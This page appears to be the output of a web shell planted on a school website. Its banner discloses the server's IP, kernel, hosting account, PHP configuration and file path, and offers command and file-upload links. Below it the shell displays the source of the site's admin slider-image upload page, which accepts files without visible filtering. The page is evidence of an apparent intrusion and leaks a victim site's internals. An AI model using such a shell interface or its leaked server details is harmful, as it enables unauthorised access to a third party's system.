|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.20 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/admin/libs/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<head>
<?php include("../link/admin_headconnection.php");
session_start();
$lg=$_SESSION['admin'];
if(!$lg)
{
header("location:../admin/index.php");
}
?>
<link href="../css/dashboard.css" rel="stylesheet" type="text/css"/>
<link href="../css/dashboardmenu.css" rel="stylesheet" type="text/css"/>
<link href="../css/student_details_side_menu.css" rel="stylesheet" type="text/css"/>
<link href="../css/student_details.css" rel="stylesheet" type="text/css"/>
<style>
body
{
background-image:url(../image/back3.jpg);
}
.work
{
min-height:200px;
}
.gap
{
height:100px;
}
th
{
text-align:center;
}
</style>
<script>
$(document).ready(function(){
showdata()
$("#regform").submit(function(e){
e.preventDefault();
$.ajax({
url:"../code/sliderchangecode.php?flag=1",
type:"POST",
data: new FormData(this),
contentType:false,
processData:false,
cache:false,
success:function(res){
alert(res);
showdata();
$("#regform").trigger("reset");
},
error:function(){
alert("error");
}
});
});
});
function showdata()
{
$("#modal").load("../code/sliderchangecode.php?flag=2");
}
function deleteimg(id)
{
//alert(id);
var a=confirm("Are you confirm");
if(a==true)
{
//alert('ok');
$.ajax({
url:"../code/sliderchangecode.php?flag=3",
type:"POST",
data:{rowid:id},
success:function(res){
alert(res);
showdata();
},
error:function(){
alert("error");
}
});
}
}
</script>
</head>
<body>
<div class="container-fluid">
<div class="row">
<?php include("../link/admin_dashboardmenu .php");?>
</div>
<div class="row">
<!--menu-->
<div class="col-sm-2">
<?php include("../link/slider+toper_sidemenu.php");?>
</div>
<!--menu--close-->
<div class="col-sm-10">
<form id="regform" method="post">
<div class="panel-group">
<div class="panel panel-primary">
<div class="panel-heading"><center><h4>Upload Image for Slider</h4></center></div>
<div class="panel-body">
<div class="form-group">
<label class="col-sm-3">Image</label>
<div class="col-sm-5"><input type="file" class="form-control" name="image"/>
<br/><br/>
<center> <button class="btn btn-success">Submit</button></center>
</div>
</form>
</div>
</div>
<br/><br/><br/>
<hr/>
<div id="modal"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</html>